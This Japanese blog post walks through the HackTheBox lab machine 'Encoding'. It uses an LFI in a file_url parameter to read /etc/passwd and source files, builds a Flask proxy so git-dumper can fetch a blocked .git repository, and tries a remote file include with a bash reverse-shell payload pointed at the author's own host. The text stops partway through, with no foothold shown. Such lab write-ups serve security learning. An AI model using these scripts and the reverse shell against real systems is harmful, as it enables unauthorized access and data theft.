今回の記事はHackTheBoxのMediumマシン「Encoding」のWriteUpです!
Encodingという名前からして、encodeやdecodeのような変換処理が出てくるのかなと思いますが、果たしてどんなボックスなのでしょうか。攻略目指して頑張ります!
評価が3.3とやや低めですね。。グラフはMediumらしい形になっているので非現実的な部分があるのかもしれません。
HackTheBoxってなに?っていう方はこちらの記事を見てみてください!一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Encoding
侵入
それでは、攻略を開始しましょう。
まず始めは、ポートスキャンを行います。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.198 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: HaxTables
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
32107/tcp filtered unknown no-response
22番、80番が確認できました。
なぜか32107番を出力していますが、特に触れないでおきます。
80番が開いているので、いつも通りWebにアクセスしていきます。
やはり変換処理ができるサイトが出てきました。
ConvertionsのStringを選択すると、実際に変換ができるページへ遷移します。
初期値はBase64 Decodeになっていますが、様々な変換方式を選べます。
小さくて見えないかもしれないのですが、実際にBase64 Encodeを指定し「test」と入力することで「dGVzdA==」と出力されました。
BurpSuiteで確認すると下記のリクエストが送信されていました。
POST /handler.php HTTP/1.1
Host: 10.10.11.198
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 66
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{
"action":"b64encode",
"data":"test",
"uri_path":"/v3/tools/string"
}
処理がうまくできることはわかったので、ほかの情報を取得しに行きましょう。
他に遷移できる場所を探していると、「API」が動作しました。内容を見ると、変換処理にどのようなリクエストを使用しているのかを教えてくれています。
さらに、「haxtables.htb」に対して「api」というサブドメインを使用していることもわかります。
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'http://example.com/data.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
一通り見ていると、気になるコードを見つけました。このコードでは変換対象にファイルを指定しています。
ファイルが指定できるということは、LFIが発火する可能性があるかもしれません。
Local File Inclusion(LFI)
では実際に、LFIに対して脆弱であるのか試してみましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ cat req.py
import requests
json_data = {
'action': 'b64encode',
'file_url' : 'file:///etc/passwd'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
ファイルURLにpasswdファイルを、変換方式にBase64 Encodeを指定したPythonファイルを用意します。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 req.py
{"data":"cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEz
OjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L
3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9ub2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCn
Rzczp4OjExMDoxMTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3ZjOng6MTAwMDoxMDAwOnN2YzovaG9tZS9zdmM6L2Jpbi9iYXNoCmx4ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTM6MTIwOmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KX2xhdXJlbDp4Ojk5ODo5OTg6Oi92YXIvbG9nL2xhdXJlbDovYmluL2ZhbHNlCg=="}
用意が出来たら実行してみましょう。Base64 Encodeされた値が出力されるので、Decodeします。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> print(base64.b64decode(b'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9ub2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDoxMTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3ZjOng6MTAwMDoxMDAwOnN2YzovaG9tZS9zdmM6L2Jpbi9iYXNoCmx4ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTM6MTIwOmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KX2xhdXJlbDp4Ojk5ODo5OTg6Oi92YXIvbG9nL2xhdXJlbDovYmluL2ZhbHNlCg==').decode())
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
passwdファイルが出力されました!やはりLFIに脆弱でしたね。
これを利用し、さらに情報列挙を進めていきます。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ cat lfi.py
import sys
import requests
args = sys.argv
json_data = {
'action': 'b64encode',
'file_url' : args[1]
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
情報列挙を進めていく前に、LFIを利用するためのPythonファイルを作成しておきます。
これにより引数でファイル名を指定できます。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 lfi.py 'file:///var/www/api/v3/tools/string/index.php'
{"data":"PD9waHANCmluY2x1ZGVfb25jZSAnLi4vLi4vLi4vdXRpbHMucGhwJzsNCmluY2x1ZGVfb25jZSAndXRpbHMucGhwJzsNCg0KDQppZiAoaXNzZXQoJF9GSUxFU1snZGF0YV9maWxlJ10pKSB7DQogICAgJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uJ107DQogICAgJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWydkYXRhX2ZpbGUnXVsndG1wX25hbWUnXSk7DQp9IGVsc2Ugew0KICAgICRqc29uZGF0YSA9IGpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpLCB0cnVlKTsNCiAgICAkYWN0aW9uID0gJGpzb25kYXRhWydhY3Rpb24nXTsNCg0KICAgIGlmICggZW1wdHkoJGpzb25kYXRhKSB8fCAhYXJyYXlfa2V5X2V4aXN0cygnYWN0aW9uJywgJGpzb25kYXRhKSkgDQogICAgew0KICAgICAgICBlY2hvIGpzb25pZnkoWydtZXN
zYWdlJyA9PiAnSW5zdWZmaWNpZW50IHBhcmFtZXRlcnMhJ10pOw0KDQogICAgfQ0KDQogICAgaWYgKGFycmF5X2tleV9leGlzdHMoJ2ZpbGVfdXJsJywgJGpzb25kYXRhKSkgew0KICAgICAgICAkZGF0YSA9IGdldF91cmxfY29udGVudCgkanNvbmRhdGFbJ2ZpbGVfdXJsJ10pOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRkYXRhID0gJGpzb25kYXRhWydkYXRhJ107DQogICAgfQ0KDQp9DQoNCg0KaWYgKCRhY3Rpb24gID09PSAnc3RyMmhleCcpIHsNCiAgICBlY2hvIGpzb25pZnkoWydkYXRhJz0+IHN0cjJoZXgoJGRhdGEpXSk7DQoNCn0gZWxzZSBpZiAgKCRhY3Rpb24gPT09ICdoZXgyc3RyJykgew0KICAgIGVjaG8ganNvbmlmeShbJ2RhdGEnID0+IGhleDJzdHIoJGRhdGEpIF0pOw0KDQp9IGVsc2UgaWYgKCRhY3Rpb24gPT09ICdtZDUnKSB7DQogICAgZWNobyBqc29
uaWZ5KFsnZGF0YSc9PiBtZDUoJGRhdGEpXSk7DQoNCn0gZWxzZSBpZiAoJGFjdGlvbiA9PT0gJ3NoYTEnKSB7DQogICAgZWNobyBqc29uaWZ5KFsnZGF0YSc9PiBzaGExKCRkYXRhKV0pOw0KDQp9IGVsc2UgaWYgKCRhY3Rpb24gPT09ICd1cmxlbmNvZGUnKSB7DQogICAgZWNobyBqc29uaWZ5KFsnZGF0YSc9PiB1cmxlbmNvZGUoJGRhdGEpXSk7DQoNCn0gZWxzZSBpZiAoJGFjdGlvbiA9PT0gJ3VybGRlY29kZScpIHsNCiAgICBlY2hvIGpzb25pZnkoWydkYXRhJz0+IHVybGRlY29kZSgkZGF0YSldKTsNCg0KfSBlbHNlIGlmICgkYWN0aW9uID09PSAnYjY0ZW5jb2RlJykgew0KICAgIGVjaG8ganNvbmlmeShbJ2RhdGEnPT4gYmFzZTY0X2VuY29kZSgkZGF0YSldKTsNCg0KfSBlbHNlIGlmICgkYWN0aW9uID09PSAnYjY0ZGVjb2RlJykgew0KICAgIGVjaG8ganNvbmlmeSh
bJ2RhdGEnPT4gYmFzZTY0X2RlY29kZSgkZGF0YSldKTsNCg0KfSBlbHNlIHsNCiAgICBlY2hvIGpzb25pZnkoWydtZXNzYWdlJz0+ICdJbnZhbGlkIGFjdGlvbiddLCA0MDQpOw0KfQ0KICAgIA0KDQoNCj8+"}
まずは初めにindex.phpから見ていきましょう。
<?php
include_once '../../../utils.php';
include_once 'utils.php';
if (isset($_FILES['data_file'])) {
$action = $_POST['action'];
$data = file_get_contents($_FILES['data_file']['tmp_name']);
} else {
$jsondata = json_decode(file_get_contents('php://input'), true);
$action = $jsondata['action'];
if ( empty($jsondata) || !array_key_exists('action', $jsondata))
{
echo jsonify(['message' => 'Insufficient parameters!']);
}
if (array_key_exists('file_url', $jsondata)) {
$data = get_url_content($jsondata['file_url']);
} else {
$data = $jsondata['data'];
}
}
?>
省略している部分もありますが、主な内容は上記のとおりです。
新たな情報として、utils.phpの存在が確認できたので同じ方法で内容を確認しましょう。
$ch = curl_init();
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
$response = curl_exec($ch);
curl_close($ch);
return $response;
utils.php内でcurl_execが使用されています。これによりLFIが発火していることが分かりました!危険な関数です。。。
しかし、utils.phpではLFIの原因は掴めたのですが、肝心な侵入への情報を見つけることができません。他に情報が得られそうなもの何かあるでしょうか。。。
そういえば、今回のマシンは「api」というサブドメインがありました。もしかすると他にも何かサブドメインがあるかもしれません!調べてみましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.haxtables.htb" -u http://10.10.11.198 -fs 1999
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/ '
v2.0.0-dev
________________________________________________
FUZZ: api [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 185ms]
FUZZ: image [Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 179ms]
新たなサブドメインとして「image」を見つけました!
403なのでWebからアクセスすることはできないですが、LFIを使用することでファイルの内容を出力させることができます。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 lfi.py 'file:///var/www/image/index.php'
{"data":"PD9waHAgDQoNCmluY2x1ZGVfb25jZSAndXRpbHMucGhwJzsNCg0KaW5jbHVkZSA
naW5jbHVkZXMvY29taW5nX3Nvb24uaHRtbCc7DQoNCj8+"}
ちょっと短いので不安ですが、Decodeしてみましょう。
<?php
include_once 'utils.php';
include 'includes/coming_soon.html';
?>
うまく出力されました。
git
imageでもutils.phpが使われているようです。こちらのutils.phpも見てみましょう。
function git_status()
{
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}
function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}
function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
お!こちら側ではgitが実行されていますね!gitから情報を取得できそうです。
また、sudoでgit-commit.shが実行されているのもわかります。LFIで内容を確認しましょう。
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
git-commit.shは権限昇格に使用すると思うので詳しいことはまた後で調べていきますが、軽くコードを見ただけでも、imageディレクトリ内にgitディレクトリが存在することが分かります。gitには有用な情報があることが多いので、必ず確認します。
列挙には、git-dumperを使用します。git-dumperは、リポジトリをダウンロードして使用することができるツールです。
ダウンロード出来たら実行しましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ git-dumper http://image.haxtables.htb/.git git-dumper/
[-] Testing http://image.haxtables.htb/.git/HEAD [403]
[-] http://image.haxtables.htb//.git/HEAD responded with status code 403
imageは本来403を出力していたので、直接実行すると、当然のように権限ではじかれてしまいます。
ひと工夫必要そうですね。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ cat proxy.py
#!/usr/bin/env/ python3
import requests
import base64
import json
from flask import Flask, Response
app = Flask(__name__)
@app.route('/<path:file>')
def lfi(file):
json_data = {
'action': 'b64encode',
'file_url': f'file:///{file}'
}
response = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
json_obj = json.loads(response.text)
data = json_obj['data']
return Response(base64.b64decode(data).decode(), content_type="application/octet-stream")
if __name__ == "__main__":
app.run(debug=True)
gitにアクセスするために、上記のスクリプトを用意しました。
これは、Flaskのアプリケーションとして実行することでプロキシのような動きをしてくれます。
これにより、git-dumperがFlaskのIPアドレスで動作してくれるようになります。実際に動かしてみましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 proxy.py
* Serving Flask app 'proxy'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
* Restarting with stat
* Debugger is active!
* Debugger PIN: 217-901-554
127.0.0.1:5000で動いています。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ curl http://127.0.0.1:5000/etc/hostname
encoding
curlでアクセスすると、このようにファイルの内容を出力してくれます。Base64 Decodeを毎回するのが大変だったので、今回はスクリプトの中に記載しました。
それでは、git-dumperを使用しましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ /home/kali/.local/bin/git-dumper http://localhost:5000/var/www/image/.git git-dumper/
[-] Testing http://localhost:5000/var/www/image/.git/HEAD [200]
[-] Testing http://localhost:5000/var/www/image/.git/ [200]
[-] Fetching common files
[-] Fetching http://localhost:5000/var/www/image/.gitignore [200]
[-] Fetching http://localhost:5000/var/www/image/.git/COMMIT_EDITMSG [200]
[-] Fetching http://localhost:5000/var/www/image/.git/description [200]
[-] Fetching http://localhost:5000/var/www/image/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://localhost:5000/var/www/image/.git/hooks/post-update.sample [200]
200番が返ってきました!いくつかエラーが出てきましたが、問題なく取得できていそうです。
┌──(kali㉿kali)-[~/…/Encoding/git-dumper/.git/logs]
└─$ cat HEAD
0000000000000000000000000000000000000000 a85ddf4be9e06aa275d26dfaa58ef407ad2c8526 james <james@haxtables.htb> 1668104154 +0000 commit (initial): Initial commit
a85ddf4be9e06aa275d26dfaa58ef407ad2c8526 9c17e5362e5ce2f30023992daad5b74cc562750b james <james@haxtables.htb> 1668104210 +0000 commit: Updated scripts!
まずは、ログを確認します。Initial commit以外にも、Updated scriptsがありますね。
┌──(kali㉿kali)-[~/…/git-dumper/.git/refs/heads]
└─$ cat master
9c17e5362e5ce2f30023992daad5b74cc562750b
ついでに、masterも確認すると、9cから始まるコミットが出力されました。このコミットをメインに調べていきましょう。
┌──(kali㉿kali)-[~/…/Encoding/git-dumper/.git/objects]
└─$ ls -l
total 8
drwxr-xr-x 2 kali kali 4096 Apr 18 18:00 00
drwxr-xr-x 2 kali kali 4096 Apr 18 18:00 info
ん?コミットに対応するディレクトリが存在しませんね。本来「9c」から始まるはずなのですが。。。
エラーが出ていた部分でダウンロードできなかったのかもしれません。手動で取得しましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ cat proxy2.py
#!/usr/bin/env python3
import requests
from flask import Flask, Response
app = Flask(__name__)
@app.route('/<path:file>')
def lfi(file):
json_data = {
"action": "str2hex",
"file_url": f"file:///{file}"
}
response = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=json_data)
return Response(bytes.fromhex(response.json()['data']), content_type="application/octet-stream")
if __name__ == "__main__":
app.run(debug=True)
取得を始める前に、さらに新たなスクリプトを作成する必要があります。
これは、zlibで圧縮されているファイルにBase64が対応していないためです。
┌──(kali㉿kali)-[~/…/git-dumper/.git/objects/9c]
└─$ curl -s http://localhost:5000/var/www/image/.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b | tee 17e5362e5ce2f30023992daad5b74cc562750b
x��A
�0=��,�&m� �� ��ni�ڒ�������i`ʺ,�Z��A����PH:�S(\�:��Q:���Of�*/���gIH��y$
Q�b_b�h��Z�i���6�G)?��'�W����;�'�a�>��gf�
�V�i;�/ҒE/
新たなスクリプトを用意出来たら、コミットを取得しましょう。大量に文字化けしていますが気にしなくて大丈夫です。
取得が出来たらcat-fileを実行します。
┌──(kali㉿kali)-[~/Desktop/Encoding/git-dumper/.git]
└─$ git cat-file -p 9c17e5362e5ce2f30023992daad5b74cc562750b
tree 30617cae3686895c80152d93a0568e3d0b6a0c49
parent a85ddf4be9e06aa275d26dfaa58ef407ad2c8526
author james <james@haxtables.htb> 1668104210 +0000
committer james <james@haxtables.htb> 1668104210 +0000
Updated scripts!
treeで新たなコミットを発見しました。先ほどと同じ手順で取得し、cat-fileを実行しましょう。
┌──(kali㉿kali)-[~/…/git-dumper/.git/objects/30]
└─$ git cat-file -p 30617cae3686895c80152d93a0568e3d0b6a0c49
040000 tree 26c6c873fe81c801d731e417bf5d92e5bfa317d2 actions
040000 tree 9a515b22daea1a74bbcf5d348ad9339202a8edd6 assets
040000 tree 2aa032b5df9bbaeedff30b6e13be938e48cae5f4 includes
100644 blob 72f0e39a9438fc0f915f63e2f26b762eb170cf8b index.php
040000 tree e074c833c28d3b024eeea724cf892a440f89a5aa scripts
100644 blob ec9b154d84cab1888e2724c1083bf97eb57837c9 utils.php
複数のディレクトリやファイルの存在を確認できます。index.phpやutils.phpは見たことがありますが、そのほかのディレクトリは初めて見ます。
同じように、actionsディレクトリから見ていきましょう。
┌──(kali㉿kali)-[~/…/git-dumper/.git/objects/26]
└─$ git cat-file -p 26c6c873fe81c801d731e417bf5d92e5bfa317d2
100644 blob 2d600ee8a453abd9bd515c41c8fa786b95f96f82 action_handler.php
100644 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 image2pdf.php
2つのPHPファイルが出力されました。ファイルの内容をそれぞれ出力していきます。
まずはaction_handler.phpです。
┌──(kali㉿kali)-[~/…/git-dumper/.git/objects/26]
└─$ curl -s http://localhost:5000/var/www/image/actions/action_handler.php
<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
pageパラメータで指定された値を使用してincludeを実行しています。これをどこかで悪用できないでしょうか。。
私が最初に思いついたことは、自分のPHPファイルへアクセスさせてリバースシェルを取得することです。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ cat rce.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.7/1234 0>&1'"); ?>
ファイルを用意したら、pythonでサーバを立ち上げます。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ここまで完了したら、実行してみましょう。
┌──(kali㉿kali)-[~/Desktop/Encoding]
└─$ python3 lfi.py 'http://image.haxtables.htb/actions/action_handler.php?page=http://10.10.14.7:8000/rce.php'
{"message":"Unacceptable URL"}
URLが許可されていないというエラーが出力されてしまいました。
file_urlではfileから始まるURLでしかアクセスできないのかもしれません。
他に、URLを指定できるようなリクエストがどこかにあったでしょうか。。。。
POST /handler.php HTTP/1.1
Host: 10.10.11.198
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 66
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string
{
"action":"b64encode",
"data":"test",
"uri_path":"/v3/tools/string"
}
ありました!これは、初めにテストで変換したときのリクエストです。
